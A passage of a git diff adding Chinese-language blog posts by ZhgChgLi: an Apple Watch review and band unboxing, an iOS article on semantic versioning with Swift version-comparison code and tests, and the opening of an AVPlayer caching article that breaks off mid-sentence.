**手錶的資料是傳回設定人(家長)而非配戴者的手機** 。 +#### 錶帶部分 + +**錶帶只區分:** +- **大的:** 42 (Apple Watch 3 以下)/ 44 (Apple Watch 4 以上) +- **小的:** 38 (Apple Watch 3 以下)/ 40 (Apple Watch 4 以上) + + +且蘋果表示保證錶帶尺寸都不會更改(不然誰買 Hermès 版XD)至少目前 1~6 代錶帶都能共通。 +- [**Apple Watch 原廠不鏽鋼米蘭錶帶開箱**](../c0f99f987d9c/) : + + + +![[**Apple Watch 原廠不鏽鋼米蘭錶帶開箱**](../c0f99f987d9c/)](/assets/eab0e984043/1*5-cOehnnwZhtNeRxMUfTqg.jpeg) + +[**Apple Watch 原廠不鏽鋼米蘭錶帶開箱**](../c0f99f987d9c/) +#### 一般版 / Nike 版 / Hermès 版 + +Nike 版只多 Nike 版專屬錶面,Hermès 版除了有Hermès 版專屬錶面還是Hermès 錶帶配不銹鋼版本。 +### 升級指南 + +如果你現在手上的是 Series 3/Series 2/Series 1 建議可升級,至少升到 Series 4 ;4 開始螢幕變滿版(很多新的錶面都要求 4 以上才能用)、處理器效能更好幾乎不會卡頓,升級有感。 + +Series 4 可升可不升,畢竟主要只差在隨時顯示螢幕及血氧計,Apple Watch 的抬腕顯示夠快夠敏捷,隨時顯示當然更好但也沒一定要;血氧計部分沒通過醫療驗證,僅作參考。 + +如果已經有 Series 5,可以再等等下一代,沒有升級的必要。 + +詳細比較可參考官網「 [比較所有錶款](https://www.apple.com/tw/watch/compare/){:target="_blank"} 」,還有些細節功能的差異,例如:高度計、指南針…等等 + + +![](/assets/eab0e984043/1*gyL7eSDOCpsaY20IzI-fmA.png) + + + +![[Apple 官網](https://www.apple.com/tw/watch/compare/){:target="_blank"}](/assets/eab0e984043/1*qB9bFtHAvsgeuT0sRIwpOg.png) + +[Apple 官網](https://www.apple.com/tw/watch/compare/){:target="_blank"} +#### 延伸閱讀 +- [**Apple Watch 原廠不鏽鋼米蘭錶帶開箱**](../c0f99f987d9c/) +- [看更多 Apple Watch 基礎使用教學、APP 推薦](../a2920e33e73e/) +- [AirPods 2 開箱及上手體驗心得](../33afa0ae557d/) +- [智慧家居初體驗 — Apple HomeKit & 小米米家](../c3150cdc85dd/) +- [動手做一支 Apple Watch App 吧!\(Swift\)](../e85d77b05061/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/apple-watch-series-6-%E9%96%8B%E7%AE%B1-%E5%85%A9%E5%B9%B4%E4%BD%BF%E7%94%A8%E9%AB%94%E9%A9%97-eab0e984043){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-11-02-c0f99f987d9c.md b/_posts/zmediumtomarkdown/2020-11-02-c0f99f987d9c.md new file mode 100644 index 000000000..bb6ca9fe7 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-11-02-c0f99f987d9c.md @@ -0,0 +1,147 @@ +--- +title: "Apple Watch 原廠不鏽鋼米蘭錶帶開箱" +author: "ZhgChgLi" +date: 2020-11-02T15:23:46.598+0000 +last_modified_at: 2023-08-05T16:50:53.574+0000 +categories: "ZRealm Life." +tags: ["apple-watch","生活","開箱","apple","米蘭錶帶"] +description: "Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱" +image: + path: /assets/c0f99f987d9c/1*5-cOehnnwZhtNeRxMUfTqg.jpeg +render_with_liquid: false +--- + +### Apple Watch 原廠不鏽鋼米蘭錶帶開箱 + +Apple 原廠不鏽鋼 44 公釐石墨色米蘭式錶環開箱 + + +緊接著上篇「 [Apple Watch Series 6 開箱 & 兩年使用心得](../eab0e984043/) 」這次也終於狠下心入手了 [原廠的米蘭錶帶](https://www.apple.com/tw/shop/product/MTU22FE/A/40-%E5%85%AC%E9%87%90%E9%8A%80%E8%89%B2%E7%B1%B3%E8%98%AD%E5%BC%8F%E9%8C%B6%E7%92%B0){:target="_blank"} ,其實兩年前就想入手但一直沒下手;這次正好一次更新,反正蘋果保證錶帶能通用在所有後續的 Apple Watch 版本,所以不擔心之後更新手錶後錶帶不能使用。 +#### 優點 + +米蘭錶帶由不鏽鋼織網與磁力錶環組成,不鏽鋼織網的好處是透氣、速乾;磁力錶環讓整條錶帶能調整至任意位置、更貼合手、穿戴方便、磁力很強不怕會掉;最重要的是讓 Apple Watch 整體更為正式、更好配合穿搭。 +#### 缺點 + +夾毛髮、夾毛髮、夾毛髮、比較重。 +#### 原廠 vs 副廠? + +潛伏在 Apple 社團許久,觀察到大家最常問的問題就是米蘭錶帶原廠 vs 副廠的問題;個人覺得差別不大,主要還是在細節跟做工,原廠同樣會夾毛髮,但原廠的編織作工很細膩一體成型、磁貼部分磁力很強不會鬆動、乾淨親膚不會有鐵鏽味,但價差也差了好幾倍(原廠要價 $ 3,100),最好還是都先摸過實品再決定,個人猜測副廠 1~2千的米蘭錶帶應該就幾乎等於原廠的做工了。 +#### 尺寸 + +同 [上篇](../eab0e984043/) ,建議手較小的購買 Apple Watch 40 mm,因為 40 mm 的米蘭錶帶,手腕圍為 130–180 mm;相較 44 mm 的米蘭錶帶,手腕圍 150–200 mm 再短 20 mm。 + +錶帶是一體成型長度無法調整;如果錶帶已經調到緊繃還是太大那只能考慮副廠,不然就吃胖點(?)所以還是去門市試戴一下比較保險。 + + +![](/assets/c0f99f987d9c/1*faHIYnWjMFiOg2Q5AoWnlQ.png) + + + +> _朋友的案例,手太小買 44 \+ 米蘭錶帶,只能貼到底還有點「ㄌㄤ」!_ + + + + +### 開箱 + + +> **_\* 2020/11/01 購於 Apple Store 101 直營店。_** + + + + + + +![一樣樸實無華的紙質包裝](/assets/c0f99f987d9c/1*HI4rii9jMG1mkzvmXMWdLw.jpeg) + +一樣樸實無華的紙質包裝 + + +![包裝背面](/assets/c0f99f987d9c/1*e8y5jTMTJKKPdydc2v0NVw.jpeg) + +包裝背面 + +現在也不叫太空灰了,叫石墨色。 + + +![內容物](/assets/c0f99f987d9c/1*m0sAkDMEiPwm43rTn0-3tA.jpeg) + +內容物 + +類似原廠矽膠錶帶,但差別在沒有多附短版的錶帶XD + + +![本體](/assets/c0f99f987d9c/1*seGVcrq2LSAlRrTp-CPIfQ.jpeg) + +本體 + + +![](/assets/c0f99f987d9c/1*IPUHeRmo5iG9QzsC_NKQoA.jpeg) + + + +![磁力錶扣](/assets/c0f99f987d9c/1*mHytJWItkz8l4OtPq5HkeA.jpeg) + +磁力錶扣 + + +![磁力錶扣,可吸在任意位置,任意調整表環大小](/assets/c0f99f987d9c/1*IIstNIHPD8kXOum-reIkjg.gif) + +磁力錶扣,可吸在任意位置,任意調整表環大小 + + +![安裝指示](/assets/c0f99f987d9c/1*OwyAmkDoSbsVwyHizqEXPA.jpeg) + +安裝指示 + +有磁貼的那邊在下在外扣入 Apple Watch 本體。 + + +> **_不要像我一樣一開始裝反還不知道,雖然也沒差?:_** + + + + + + +![正確版!完成!](/assets/c0f99f987d9c/1*5-cOehnnwZhtNeRxMUfTqg.jpeg) + +正確版!完成! + + +![實戴圖背面](/assets/c0f99f987d9c/1*WT_fwjfrtgJZFZnLULndRw.jpeg) + +實戴圖背面 + + +![實戴圖正面](/assets/c0f99f987d9c/1*eIq97MlqVilozKrm2kcT0g.jpeg) + +實戴圖正面 +### 補充原廠錶帶細節 + + +> **_\*簡易辨別原廠/副廠米蘭錶帶的方法,但不一定準確;從合法通路購入才能確保不被騙!_** + + + + + + +![連接端 \- 靠近磁力錶扣的那端 — 底部 — 有「Assembled in China」字樣](/assets/c0f99f987d9c/1*24YD1G0kgfc5qeRX55ItEg.jpeg) + +連接端 \- 靠近磁力錶扣的那端 — 底部 — 有「Assembled in China」字樣 + + +![連接端另一端 — 表面 — 有「44MM」字樣](/assets/c0f99f987d9c/1*KZcWMP1vVSGtCpLuJW6rFw.jpeg) + +連接端另一端 — 表面 — 有「44MM」字樣 +### 延伸閱讀 +- [Apple Watch Series 6 開箱 & 兩年使用心得](../eab0e984043/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/apple-watch-%E5%8E%9F%E5%BB%A0%E4%B8%8D%E9%8F%BD%E9%8B%BC%E7%B1%B3%E8%98%AD%E9%8C%B6%E5%B8%B6%E9%96%8B%E7%AE%B1-c0f99f987d9c){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-12-17-c4d7c2ce5a8d.md b/_posts/zmediumtomarkdown/2020-12-17-c4d7c2ce5a8d.md new file mode 100644 index 000000000..bbb4901ba --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-12-17-c4d7c2ce5a8d.md @@ -0,0 +1,483 @@ +--- +title: "iOS APP 版本號那些事" +author: "ZhgChgLi" +date: 2020-12-17T14:33:08.230+0000 +last_modified_at: 2024-04-13T08:39:36.458+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","software-engineering","version-control","software-development"] +description: "版本號規則及判斷比較解決方案" +image: + path: /assets/c4d7c2ce5a8d/1*73CuWIMwmWT1ZsJB8K_q5g.jpeg +render_with_liquid: false +--- + +### iOS APP 版本號那些事 + +版本號規則及判斷比較解決方案 + + + +![Photo by [James Yarema](https://unsplash.com/@jamesyarema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/c4d7c2ce5a8d/1*73CuWIMwmWT1ZsJB8K_q5g.jpeg) + +Photo by [James Yarema](https://unsplash.com/@jamesyarema?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +所有 iOS APP 開發者都會碰到的兩個數字,Version Number 和 Build Number;最近剛好遇到需求跟版本號有關,要做版本號判斷邀請使用者評價 APP,順便挖掘了一下關於版本號的事;文末也會附上我的版本號判斷解決大全。 + + +![[XCode Help](https://help.apple.com/xcode/mac/current/#/devba7f53ad4){:target="_blank"}](/assets/c4d7c2ce5a8d/1*xV13V7U8_SyvK_znwlg1yQ.png) + +[XCode Help](https://help.apple.com/xcode/mac/current/#/devba7f53ad4){:target="_blank"} +### 語意化版本 x\.y\.z + +首先介紹「 [語意化版本](https://semver.org/lang/zh-TW/){:target="_blank"} 」這份規範,主要是要解決軟體相依及軟體管理上的問題,如我們很常在使用的 Cocoapods ;假設我今天使用 Moya 4\.0,Moya 4\.0 使用並依賴 Alamofire 2\.0\.0,如果今天 Alamofire 有更新了,可能是新功能、可能是修復問題、可能是整個架構重做\(不相容舊版\);這時候如果對於版本號沒有一個公共共識規範,將會變得一團亂,因為你不知道哪個版本是相容的、可更新的。 + +**語意化版本由三個部分組成:** `x.y.z` +- x: 主版號 \(major\):當你做了不相容的 API 修改 +- y: 次版號 \(minor\):當你做了向下相容的功能性新增 +- z: 修訂號 \(patch\):當你做了向下相容的問題修正 + + +**通用規則:** +- 必須為非負的整數 +- 不可補零 +- 0\.y\.z 開頭為開發初始階段,不應該用於正式版版號 +- 以數值遞增 + + +**比較方式:** + + +> _先比 主版號,主版號 等於時 再比 次版號,次版號 等於時 再比 修訂號。_ + + +> _ex: 1\.0\.0 < 2\.0\.0 < 2\.1\.0 < 2\.1\.1_ + + + + + +另外還可在修訂號之後加入「先行版號資訊 \(ex: 1\.0\.1\-alpha\)」或「版本編譯資訊 \(ex: 1\.0\.0\-alpha\+001\)」但 iOS APP 版號並不允許這兩個格式上傳至 App Store,所以這邊就不做贅述,詳細可參考「 [語意化版本](https://semver.org/lang/zh-TW/){:target="_blank"} 」。 + +✅:1\.0\.1, 1\.0\.0, 5\.6\.7 +❌:01\.5\.6, a1\.2\.3, 2\.005\.6 +#### 實際使用 + +關於實際使用在 iOS APP 版本控制上,因為我們僅作為 Release APP 版本的標記,不存在與其他 APP、軟體相依問題;所以在實際使用上的定義就因應各團隊自行定義,以下僅為個人想法: +- x: 主版號 \(major\):有重大更新時(多個頁面介面翻新、主打功能上線) +- y: 次版號 \(minor\):現有功能優化、補強時(大功能下的小功能新增) +- z: 修訂號 \(patch\):修正目前版本的 bug時 + + +一般如果是緊急修復\(Hot Fix\)才會動到修訂號,正常狀況下都為 0;如果有新的版本上線可以將它歸回 0。 + + +> _EX: 第一版上線\(1\.0\.0\) \-> 補強第一版的功能 \(1\.1\.0\) \-> 發現有問題要修復 \(1\.1\.1\) \-> 再次發現有問題 \(1\.1\.2\) \-> 繼續補強第一版的功能 \(1\.2\.0\) \-> 全新改版 \(2\.0\.0\) \-> 發現有問題要修復 \(2\.0\.1\) … 以此類推_ + + + + +### Version Number vs\. Build Number +#### Version Number \(APP 版本號\) +- App Store、外部識別用 +- Property List Key: `CFBundleShortVersionString` +- 內容僅能由數字和「\.」組成 +- 官方也是建議使用語意化版本 x\.y\.z 格式 +- 2020121701、2\.0、2\.0\.0\.1 都可 +\(下面會有總表統計 App Store 上 App 版本號的命名方式\) +- 不可超過 18 個字元 +- 格式不合可以 build & run 但無法打包上傳到 App Store +- 僅能往上遞增、不能重複、不能下降 + + + +> _一般習慣使用語意化版本 x\.y\.z 或 x\.y。_ + + + + +#### Build Number +- 內部開發過程、階段識別使用,不會公開給使用者 +- 打包上傳到 App Store 識別使用(相同 build number 無法重複打包上傳) +- Property List Key: `CFBundleVersion` +- 內容僅能由數字和「\.」組成 +- 官方也是建議使用語意化版本 x\.y\.z 格式 +- 1、2020121701、2\.0、2\.0\.0\.1 都可 +- 不可超過 18 個字元 +- 格式不合可以 build & run 但無法打包上傳到 App Store +- 同個 APP 版本號下不能重複,反之不同APP 版本號可以重複 +ex: 1\.0\.0 build: 1\.0\.0, 1\.1\.0 build: 1\.0\.0 ✅ + + + +> _一般習慣使用日期、number(每個新版本都從 0 開始),並搭配 CI/fastlane 自動在打包時遞增 build number。_ + + + + + + +![](/assets/c4d7c2ce5a8d/1*JhWpjENUxBxtr1_KCi2cBQ.png) + + +稍微統計了一下排行版上 app 的版本號格式,如上圖。 + +一般還是以 x\.y\.z 為主。 +### 版本號比較及判斷方式 + +有時候我們會需要使用版本進行判斷,例如:低於 x\.y\.z 版本則跳強制更新、等於某個版本跳邀請評價,這時候就需要能比較兩個版本字串的功能。 +#### 簡易方式 +```swift +let version = "1.0.0" +print(version.compare("1.0.0", options: .numeric) == .orderedSame) // true 1.0.0 = 1.0.0 +print(version.compare("1.22.0", options: .numeric) == .orderedAscending) // true 1.0.0 < 1.22.0 +print(version.compare("0.0.9", options: .numeric) == .orderedDescending) // true 1.0.0 > 0.0.9 +print(version.compare("2", options: .numeric) == .orderedAscending) // true 1.0.0 < 2 +``` + +也可以寫 String Extension: +```swift +extension String { + func versionCompare(_ otherVersion: String) -> ComparisonResult { + return self.compare(otherVersion, options: .numeric) + } +} +``` + +⚠️但需注意若遇到格式不同要判斷相同是會有誤: +```swift +let version = "1.0.0" +version.compare("1", options: .numeric) //.orderedDescending +``` + +實際我們知道 1 == 1\.0\.0 ,但若用此方式判斷將得到 `.orderedDescending` ;可 [參考此篇文章補0後再判斷](https://sarunw.com/posts/how-to-compare-two-app-version-strings-in-swift/){:target="_blank"} 的做法;正常情況下我們選定 APP 版本格式後就不應該再變了,x\.y\.z 就一直用 x\.y\.z,不要一下 x\.y\.z 一下 x\.y。 +#### 複雜方式 + +可直接使用已用輪子: [mrackwitz/Version](https://github.com/mrackwitz/Version){:target="_blank"} 以下為重造輪子。 + +複雜方式這邊遵照使用語意化版本 x\.y\.z 最為格式規範,自行使用 Regex 做字串頗析並自行實作比較操作符,除了基本的 =/>/≥/</≤ 外還多實作了 ~> 操作符(同 Cocoapods 版本指定方式)並支援靜態輸入。 + +**~> 操作符的定義是:** + +大於等於此版本但小於此版本的\(上一階層版號\+1\) +``` +EX: +~> 1.2.1: (1.2.1 <= 版本 < 1.3) 1.2.3,1.2.4... +~> 1.2: (1.2 <= 版本 < 2) 1.3,1.4,1.5,1.3.2,1.4.1... +~> 1: (1 <= 版本 < 2) 1.1.2,1.2.3,1.5.9,1.9.0... +``` +1. **首先我們需要定義出 Version 物件:** + +```swift +@objcMembers +class Version: NSObject { + private(set) var major: Int + private(set) var minor: Int + private(set) var patch: Int + + override var description: String { + return "\(self.major),\(self.minor),\(self.patch)" + } + + init(_ major: Int, _ minor: Int, _ patch: Int) { + self.major = major + self.minor = minor + self.patch = patch + } + + init(_ string: String) throws { + let result = try Version.parse(string: string) + self.major = result.version.major + self.minor = result.version.minor + self.patch = result.version.patch + } + + static func parse(string: String) throws -> VersionParseResult { + let regex = "^(?:(>=|>|<=|<|~>|=|!=){1}\\s*)?(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)$" + let result = string.groupInMatches(regex) + + if result.count == 4 { + //start with operator... + let versionOperator = VersionOperator(string: result[0]) + guard versionOperator != .unSupported else { + throw VersionUnSupported() + } + let major = Int(result[1]) ?? 0 + let minor = Int(result[2]) ?? 0 + let patch = Int(result[3]) ?? 0 + return VersionParseResult(versionOperator, Version(major, minor, patch)) + } else if result.count == 3 { + //unSpecified operator... + let major = Int(result[0]) ?? 0 + let minor = Int(result[1]) ?? 0 + let patch = Int(result[2]) ?? 0 + return VersionParseResult(.unSpecified, Version(major, minor, patch)) + } else { + throw VersionUnSupported() + } + } +} + +//Supported Objects +@objc class VersionUnSupported: NSObject, Error { } + +@objc enum VersionOperator: Int { + case equal + case notEqual + case higherThan + case lowerThan + case lowerThanOrEqual + case higherThanOrEqual + case optimistic + + case unSpecified + case unSupported + + init(string: String) { + switch string { + case ">": + self = .higherThan + case "<": + self = .lowerThan + case "<=": + self = .lowerThanOrEqual + case ">=": + self = .higherThanOrEqual + case "~>": + self = .optimistic + case "=": + self = .equal + case "!=": + self = .notEqual + default: + self = .unSupported + } + } +} + +@objcMembers +class VersionParseResult: NSObject { + var versionOperator: VersionOperator + var version: Version + init(_ versionOperator: VersionOperator, _ version: Version) { + self.versionOperator = versionOperator + self.version = version + } +} +``` + +可以看到 Version 就是個 major,minor,patch 的儲存器,解析方式寫成 static 方便外部呼叫使用,可能傳遞 `1.0.0` or `≥1.0.1` 這兩種格式,方便我們做字串解析、設定檔解析。 +``` +Input: 1.0.0 => Output: .unSpecified, Version(1.0.0) +Input: ≥ 1.0.1 => Output: .higherThanOrEqual, Version(1.0.0) +``` + +Regex 是參考「 [語意化版本文件](https://semver.org/lang/zh-TW/#%E6%9C%89%E5%BB%BA%E8%AD%B0%E7%94%A8%E6%96%BC%E6%AA%A2%E6%9F%A5%E8%AA%9E%E6%84%8F%E5%8C%96%E7%89%88%E6%9C%AC%E7%9A%84%E6%AD%A3%E8%A6%8F%E8%A1%A8%E7%A4%BA%E5%BC%8Fregex%E5%97%8E){:target="_blank"} 」中提供的 Regex 參考進行修改的: +``` +^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$ +``` + + +[![](https://regex101.com/preview/r/vkijKf/1/)](https://regex101.com/r/vkijKf/1/){:target="_blank"} + + + +> _\*因考量到專案與 Objective\-c 混編, OC 也要能使用所以都宣告為 @objcMembers、也妥協使用兼容OC 的寫法。_ + + +> _\(其實可以直接 VersionOperator 使用 enum: String、Result 使用 tuple/struct\)_ + + + + + +> _\*若實作物件派生自 NSObject 在實作 Comparable/Equatable == 時記得也要實作 \!=,原始 NSObject 的 \!= 操作不會是你預期的結果。_ + + + + + +**2\.實作 Comparable 方法:** +```swift +extension Version: Comparable { + static func < (lhs: Version, rhs: Version) -> Bool { + if lhs.major < rhs.major { + return true + } else if lhs.major == rhs.major { + if lhs.minor < rhs.minor { + return true + } else if lhs.minor == rhs.minor { + if lhs.patch < rhs.patch { + return true + } + } + } + + return false + } + + static func == (lhs: Version, rhs: Version) -> Bool { + return lhs.major == rhs.major && lhs.minor == rhs.minor && lhs.patch == rhs.patch + } + + static func != (lhs: Version, rhs: Version) -> Bool { + return !(lhs == rhs) + } + + static func ~> (lhs: Version, rhs: Version) -> Bool { + let start = Version(lhs.major, lhs.minor, lhs.patch) + let end = Version(lhs.major, lhs.minor, lhs.patch) + + if end.patch >= 0 { + end.minor += 1 + end.patch = 0 + } else if end.minor > 0 { + end.major += 1 + end.minor = 0 + } else { + end.major += 1 + } + return start <= rhs && rhs < end + } + + func compareWith(_ version: Version, operator: VersionOperator) -> Bool { + switch `operator` { + case .equal, .unSpecified: + return self == version + case .notEqual: + return self != version + case .higherThan: + return self > version + case .lowerThan: + return self < version + case .lowerThanOrEqual: + return self <= version + case .higherThanOrEqual: + return self >= version + case .optimistic: + return self ~> version + case .unSupported: + return false + } + } +} +``` + +其實就是實現前文所述判斷邏輯,最後開一個 compareWith 的方法口,方便外部直接將解析結果帶入得到最終判斷。 + +**使用範例:** +```swift +let shouldAskUserFeedbackVersion = ">= 2.0.0" +let currentVersion = "3.0.0" +do { + let result = try Version.parse(shouldAskUserFeedbackVersion) + result.version.comparWith(currentVersion, result.operator) // true +} catch { + print("version string parse error!") +} +``` + +**或是…** +``` +Version(1,0,0) >= Version(0,0,9) //true... +``` + + +> _支援 `>/≥/` 操作符。_ + + + + +### 下一步 + +Test cases… +```swift +import XCTest + +class VersionTests: XCTestCase { + func testHigher() throws { + let version = Version(3, 12, 1) + XCTAssertEqual(version > Version(2, 100, 120), true) + XCTAssertEqual(version > Version(3, 12, 0), true) + XCTAssertEqual(version > Version(3, 10, 0), true) + XCTAssertEqual(version >= Version(3, 12, 1), true) + + XCTAssertEqual(version > Version(3, 12, 1), false) + XCTAssertEqual(version > Version(3, 12, 2), false) + XCTAssertEqual(version > Version(4, 0, 0), false) + XCTAssertEqual(version > Version(3, 13, 1), false) + } + + func testLower() throws { + let version = Version(3, 12, 1) + XCTAssertEqual(version < Version(2, 100, 120), false) + XCTAssertEqual(version < Version(3, 12, 0), false) + XCTAssertEqual(version < Version(3, 10, 0), false) + XCTAssertEqual(version <= Version(3, 12, 1), true) + + XCTAssertEqual(version < Version(3, 12, 1), false) + XCTAssertEqual(version < Version(3, 12, 2), true) + XCTAssertEqual(version < Version(4, 0, 0), true) + XCTAssertEqual(version < Version(3, 13, 1), true) + } + + func testEqual() throws { + let version = Version(3, 12, 1) + XCTAssertEqual(version == Version(3, 12, 1), true) + XCTAssertEqual(version == Version(3, 12, 21), false) + XCTAssertEqual(version != Version(3, 12, 1), false) + XCTAssertEqual(version != Version(3, 12, 2), true) + } + + func testOptimistic() throws { + let version = Version(3, 12, 1) + XCTAssertEqual(version ~> Version(3, 12, 1), true) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(3, 12, 9), true) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(3, 13, 0), false) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(3, 11, 1), false) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(3, 13, 1), false) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(2, 13, 0), false) //3.12.1 <= $0 < 3.13.0 + XCTAssertEqual(version ~> Version(3, 11, 100), false) //3.12.1 <= $0 < 3.13.0 + } + + func testVersionParse() throws { + let unSpecifiedVersion = try? Version.parse(string: "1.2.3") + XCTAssertNotNil(unSpecifiedVersion) + XCTAssertEqual(unSpecifiedVersion!.version == Version(1, 2, 3), true) + XCTAssertEqual(unSpecifiedVersion!.versionOperator, .unSpecified) + + let optimisticVersion = try? Version.parse(string: "~> 1.2.3") + XCTAssertNotNil(optimisticVersion) + XCTAssertEqual(optimisticVersion!.version == Version(1, 2, 3), true) + XCTAssertEqual(optimisticVersion!.versionOperator, .optimistic) + + let higherThanVersion = try? Version.parse(string: "> 1.2.3") + XCTAssertNotNil(higherThanVersion) + XCTAssertEqual(higherThanVersion!.version == Version(1, 2, 3), true) + XCTAssertEqual(higherThanVersion!.versionOperator, .higherThan) + + XCTAssertThrowsError(try Version.parse(string: "!! 1.2.3")) { error in + XCTAssertEqual(error is VersionUnSupported, true) + } + } +} +``` + +目前打算將 Version 再進行優化、效能測試調整、整理打包,然後跑一次建立自己的 cocoapods 流程。 + +不過目前已經有很完整的 [Version](https://github.com/mrackwitz/Version){:target="_blank"} 處理 Pod 專案,所以不必要重造輪子,單純只是想順一下建立流程XD。 + +也許也還會為已有的輪子提交實作 `~>` 的 PR。 +### 參考資料: +- [Xcode Help](https://help.apple.com/xcode/mac/current/#/devba7f53ad4){:target="_blank"} +- [語意化版本 2\.0\.0](https://semver.org/lang/zh-TW/spec/v2.0.0.html){:target="_blank"} +- [How to compare two app version strings in Swift](https://sarunw.com/posts/how-to-compare-two-app-version-strings-in-swift/){:target="_blank"} +- [mrackwitz/Version](https://github.com/mrackwitz/Version){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-app-%E7%89%88%E6%9C%AC%E8%99%9F%E9%82%A3%E4%BA%9B%E4%BA%8B-c4d7c2ce5a8d){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-01-05-ee47f8f1e2d2.md b/_posts/zmediumtomarkdown/2021-01-05-ee47f8f1e2d2.md new file mode 100644 index 000000000..4c83f294d --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-01-05-ee47f8f1e2d2.md @@ -0,0 +1,35 @@ +--- +title: "AVPlayer 邊播邊 Cache 實戰" +author: "ZhgChgLi" +date: 2021-01-05T14:27:52.843+0000 +last_modified_at: 2023-08-05T16:48:56.267+0000 +categories: "" +tags: ["ios","ios-app-development","cache","avplayer","music-player"] +description: "AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 達成邊播放音樂/影片邊緩存" +render_with_liquid: false +--- + +### \[舊\]AVPlayer 邊播邊 Cache 實戰 + +摸清 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 的脈絡 + +### \[2021–01–31\] 文章公告:文章編修完成 + +在此要先對所有已讀原本文章的朋友深深一鞠躬道歉,因為自己的魯莽沒有徹底研究完成就發表文章;導致部分內容有誤、浪費您寶貴的時間。 + +目前已從頭把脈絡梳理完成,重新撰寫了篇文章;內含完整專案程式共大家參考,謝謝! + +**變更內容:** 約 30% + +**新增內容:** 約 60% + + +> [AVPlayer 實踐本地 Cache 功能大全 點我查看](../6ce488898003/) + + + + + + + +_[Post](https://blog.zhgchg.li/avplayer-%E9%82%8A%E6%92%AD%E9%82%8A-cache-%E5%AF%A6%E6%88%B0-ee47f8f1e2d2){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-01-31-6ce488898003.md b/_posts/zmediumtomarkdown/2021-01-31-6ce488898003.md new file mode 100644 index 000000000..7a9deb16c --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-01-31-6ce488898003.md @@ -0,0 +1,1094 @@ +--- +title: "AVPlayer 實踐本地 Cache 功能大全" +author: "ZhgChgLi" +date: 2021-01-31T10:41:42.622+0000 +last_modified_at: 2024-04-13T08:45:21.565+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","cache","avplayer","music-player-app"] +description: "AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate" +image: + path: /assets/6ce488898003/1*lAGpCiT80GFIQ2adYworVw.jpeg +render_with_liquid: false +--- + +### AVPlayer 實踐本地 Cache 功能大全 + +AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate + + + +![Photo by [Tyler Lastovich](https://unsplash.com/@lastly?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/6ce488898003/1*lAGpCiT80GFIQ2adYworVw.jpeg) + +Photo by [Tyler Lastovich](https://unsplash.com/@lastly?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +#### \[2023/03/12\] Update + + +[![](https://repository-images.githubusercontent.com/612890185/346ae563-7278-4518-a19b-f5d367e60adc)](https://github.com/ZhgChgLi/ZPlayerCacher){:target="_blank"} + + +我將之前的實作開源了,有需求的朋友可直接使用。 +- 客製化 Cache 策略,可以用 PINCache or 其他… +- 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching +- 使用 Combine 實現 Data Flow 策略 +- 寫了一些測試 + +### 前言 + +既上一篇「 [iOS HLS Cache 實踐方法探究之旅](../d796bf8e661e/) 」後已過了大半年,團隊還是一直想要實現邊播邊 Cache 功能因為對成本的影響極大;我們是音樂串流平台,如果每次播放同樣的歌曲都要重新拿整個檔案,對我們或對非吃到飽的使用者來說都很傷流量,雖然音樂檔案頂多幾 MB,但積沙成塔都是錢! + +另外因為 Android 那邊已經有實作邊播邊 Cache 的功能了,之前有比較過花費,Android 端上線後明顯節省了許多流量;相對更多使用者的 iOS 應該能有更好的節流體現。 + +根據 [上一篇](../d796bf8e661e/) 的經驗,如果我們要繼續使用 HLS \( \.m3u8/\.ts\) 來達成目的;事情將會變得非常複雜甚至無法達成;我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 `AVAssetResourceLoaderDelegate` 進行實作。 +### 目標 +- 播放過的音樂會在本地產生 